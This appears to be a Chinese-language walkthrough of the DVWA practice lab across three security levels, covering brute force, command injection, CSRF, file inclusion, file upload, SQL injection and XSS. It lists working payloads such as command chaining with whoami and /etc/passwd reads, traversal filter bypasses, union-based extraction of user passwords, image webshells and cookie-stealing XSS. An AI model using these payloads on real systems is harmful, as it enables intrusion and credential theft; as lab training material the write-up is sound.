DVWA靶场通关
- 一、安全等级:Low
- (一)Brute Force 密码爆破
- (二)Command Injection 命令注入
- (三)CSRF 跨站脚本伪造
- (四)File Inclusion 文件包含
- (五)File Upload 文件上传
- (六)SQL Injection SQL注入
- (七)SQL 注入(Blind) 盲注
- (八)Weak Session IDs 虚假身份伪造
- (九)XSS
- 二、安全等级:Medium
- (一)Brute Force 密码爆破
- (二)Command Injection 命令注入
- (三)CSRF 跨站脚本伪造
- (四)File Inclusion 文件包含
- (五)File Upload 文件上传
- (六)SQL Injection SQL注入
- (七)SQL 注入(Blind) 盲注
- (八)XSS
- 三、安全等级:Hight
- (一)Brute Force 密码爆破
- (二)Command Injection 命令注入
- (三)CSRF 跨站脚本伪造
- (四)File Inclusion 文件包含
- (五)File Upload 文件上传
- (六)SQL Injection SQL注入
- (七)SQL 注入(Blind) 盲注
- (八)XSS
- 文章精选
- 学习交流群
一、安全等级:Low
(一)Brute Force 密码爆破
用户admin
密码根据burp的爆破模块进行爆破
(二)Command Injection 命令注入
这里让我们ping一个地址
直接输入127.0.0.1 去ping 本地执行一下
这里我们可以用连接符| || & && 等去拼接字符,去执行我们想要执行的命令
127.0.0.1&whoami
知识复习:命令连接符
;(分号)
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
❝
ping -c 1 127.0.0.1;whoami
命令执行漏洞可以直接使用&&或者|和管道命令执行其他命令
命令链接符号解析
| (管道符号)
通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令
❝
ping -c 1 127.0.0.1|whoami
&(后台任务符号)
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符
号使shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作
❝
ping-c 4 127.0.0.1&cat /etc/passwd&
&&(逻辑与)
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后面的命令才被执行
❝
ping -c 4 127.0.0.1&&whoami
||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的命令才被执行;
❝
ping -c ||whoami
``(反引号)` !!!
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行echo`ls-a` 将
会首先执行ls并捕获其输出信息。然后再将它传递给echo,并将ls的输出结果
打印在屏幕上,这被称为命令替换
echo whoami
命令替换,输出反引号内的命令
$(command) 命令替换 与反引号相似 (命令替换)
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
❝
ping -c 4 |echo $(whoami)
win 命令链接符
| &|| && 跟linux 一样
(三)CSRF 跨站脚本伪造
URL中的参数为password_new、password_conf,修改其参数值就可以进行密码的修改操作,原理就是前端传参点被恶意利用执行后端密码修改操作
第一个就是像这样在页面输入框中修改密码
第二个就是在URL中修改参数值然后发送请求就行修改
?password_new=admin&password_conf=admin&Change=Change#
(四)File Inclusion 文件包含
我们点击第一个文件,发现文件名显示在URL中,这就表明文件名是可控的。
/fi/?page=../../../../../etc/passwd 修改URL
触发文件包含漏洞,获得敏感文件信息
(五)File Upload 文件上传
没有任何防护,说是上传图片文件,但是上传php文件也可以直接进行上传
../../hackable/uploads/phpinfo.php
拿到路径直接进行访问就可以进入到phpinfo页面
(六)SQL Injection SQL注入
SQL 注入的思路就是,先进行验证判断类型,后针对性进行SQL注入攻击
这里可以看到输入的是1
这里输入
1 and 1=1# 进行验证,可以查询,表示存在sql注入,并且为数字类型的sql注入
1 union select user(),database()#
知识复习:sql注入原理
参数可控,使用户可以绕过防护对后端内容进行操作。
参数包含危险语句使得对敏感文件进行操作。
(1)1’报错验证原理
正常:select * from users where id =1 正常查询
错误: select * from users where id =1’ 出现报错 同理 ‘1’’ 也会报错
如果出现报错则可能存在SQL注入
(2)1=1 与 1=2 验证(1=1为TURE 而 1=2 为FALSE)
select * from users where id = 1 and 1=1 正常查询 与了一个TURE
select * from users where id =1 and 1=2 查询为空(并不会报错) 与了一个FALSE
判断是否存在注入打点:
id = 1 and 1=1 --+
id = 1 and 1=2 --+
id = 1 or 1=1 --+
id = '1' or '1'='1'--+
id = "1" or "1"="1"--+
或 id = 1 and sleep(10) --+
(七)SQL 注入(Blind) 盲注
sql注入盲注就表明,网页不会有回显信息,需要我们利用另外的手段去获取信息
只有是或非两种状态,不会返回具体数据,所以就不能使用UNION查询
1 select substring(database(),1,3)=’dvw’
substring 取 database() 字段结果 1,3 从1开始长度为3的值,我们知道,语句真值为1时返回存在,为0时返回不存在,所以我们使用字符串的切片与字符串'dvw'做等号,如果数据库名称前三个确实是dvw那将会返回存在命令,反之
流程:
先判断字符长度,使用if语句
1 and if(length(database())=4)#
然后再从第一个字符a-z 1-9 一个一个开始判断
1 select substring(database(),1,1)=’a’
1 select substring(database(),1,4)=’dvwa’
当然手工的盲注效率过低,我们可以利用burp,进行字典爆破,这样更加迅速
(八)Weak Session IDs 虚假身份伪造
我们拿到cookie可以免密码直接进入页面的。前端请求中带着Cookie给后端,后端就认为我们就是真正的用户,就不需要我们输入密码直接进入页面
(九)XSS
Dom 型
见框见参就X
简单的检验语句
<script>alert('XSS')</script>
反射型
一次型触发,见框就插
存储型
一直存在,持久型,除非将存储信息删掉
知识复习:XSS
XSS测试语句
在网站是否存在xss漏洞时,应该输入一些标签如<、>输入后查看网页源代码是 否过滤标签,如果没过滤,很大可能存在xss漏洞。 常用的测试语句
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
"><span>x</span><"
'>"><span>x</span><'
"><span>x</span>//
XSS攻击语句
<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
<IMG SRC=http://3w.org/XSS/xss.js/>
<IMG SRC=javascript:alert('XSS')>
二、安全等级:Medium
(一)Brute Force 密码爆破
还是和Low一样,都可以进行爆破,不一样的就是密码错误加了两秒的延时,就是速度慢一些,但是仍然可以使用burp进行爆破
(二)Command Injection 命令注入
127.0.0.1|whoami
这个等级下只是进行了简单的过滤但是过滤不完全,这里的 | (管道符)仍然可以使用,但是此处的 ;
和&&
被过滤掉了
(三)CSRF 跨站脚本伪造
这个等级下又加了一层判断
if( stripos( _SERVER[ 'SERVER_NAME' ]) !== false )
这是对我们的Referer字段进行了判断,所以我们需要拿到正常访问的Referer字段,然后修改我们的数据包,就可进行修改密码了
(四)File Inclusion 文件包含
再次输入../../../etc/passwd之后就不能显示了
我们发现是将../和..,http过滤掉了,将其替换为空
所以我们就可以进行双写绕过,我想得到一个../怎么办呢
那就输入..././ ../被替换为空,那剩余的字符就是../了,同理http一样
重新构造payloud
..././..././..././..././..././etc/passwd
使用http协议构造的话同理
(五)File Upload 文件上传
这里对文件类型做了限制
burp抓包,修改一下数据包中的文件类型即可进行绕过
之后便上传成功
(六)SQL Injection SQL注入
和Low等级类似,但是id 传参是用的POST方式,需要使用burp抓包来进行sql注入
(七)SQL 注入(Blind) 盲注
也是POST方法,在burp中进行盲注
(八)XSS
Dom 型
可以看到这里给我们的script 过滤掉了,那我们可以换其他的标签,比如img标签
> </option><img src=1 οnerrοr=alert("XSS")
>/option></select><img src="javascript:alert('XSS')" />
Xss的本质就是闭合标签,然后插入恶意代码
反射型
这个同理,对script标签进行过滤,可以使用img标签进行注入
存储型
这个是将script标签替换为空,所以我们可以进行双写绕过
<scr<script>ipt>
三、安全等级:Hight
(一)Brute Force 密码爆破
就一个200响应码其他都是302
这个等级下就给登录上了一个token了,每一次登录token就会变一次,所以我们需要用burp配置一个宏,去让它自动获取这个token以此支持我们的爆破
将这两个设为变量,并且设为草叉pitchfock模式
在Options里添加宏,并且获取回复拿到响应包,这里我们需要一个没有消耗点token的请求包,就是拦截后直接发给爆破模块去设置宏
搜索token,然后用鼠标将引号中的值划出,上面的参数burp会自动进行补全,并且将这个token值记录下来:9653a36a825fa896bb73991583132c8a
弄好之后就点击OK
重定向设置一下,这样最后登录就都是200显示了
网络错误重试给他设为0,token都是一次就无的肯定不能让它去重连的
并发设为1不能让它并发爆破,需要token进行逐个验证使用
第一个变量:字典加载
第二个变量使用递归搜索(grep)
然后开始攻击爆破
结果直接出来了,并且我们看到每个token 都是不一样的,自动获取的
(二)Command Injection 命令注入
我们可以看到大部分的连接符都被过滤了。但是这个 | 管道符 被过滤的时候后面加了个空格
所以我们使用127.0.0.1|whoami,也是可以做到RCE的
(三)CSRF 跨站脚本伪造
这里同样是加了一个token ,用token机制来防御CSRF。用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。
(四)File Inclusion 文件包含
这里是直接做了白名单限制,必须为file*或者include.php否则就会File not found.
但是我们仍然可以利用file伪协议进行绕过file:///etc/passwd
(五)File Upload 文件上传
这里没办法了,直接强制要求必须是png、jpg等图片格式文件。
那就只能制作图片马了,并且搭配着上一个文件包含漏洞进行利用执行
随便拿一张图片用文本编辑,添加上我们利用的php恶意代码,然后正常上传.
上传成功后回到文件包含漏洞点,用我们的php伪协议打开我们上传的图片,其中的phpinfo代码就会执行
(六)SQL Injection SQL注入
这里的话就是跳转到一个新的页面,并且对参数没有做任何防护,我们直接爆账号密码
1' union select user,password from users#
(七)SQL 注入(Blind) 盲注
我们可以看到这里给sleep设置了一个随机区间,这就导致基于时间状态的盲注就失效了。但是没事,我们还是像上面两个等级一样进行基于布尔值的盲注即可。
(八)XSS
Dom 型
这里设置了白名单,只允许French,English,German以及Spanish
但是我们仍然有进行绕过的方法
#</option></select><BODY ONLOAD=alert(document.cookie)>
究其原理还是闭合的思想。
反射型
这里对script进行了正则匹配的过滤,但是我们还是像上面一样使用其他类型的标签如img
<img src=1 οnerrοr=alert("XSS")>
存储型
这个也是正则匹配过滤script,方法同上
原文始发于微信公众号(泷羽Sec-Blanks):DVWA漏洞靶场通关手册(万字图文解析)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论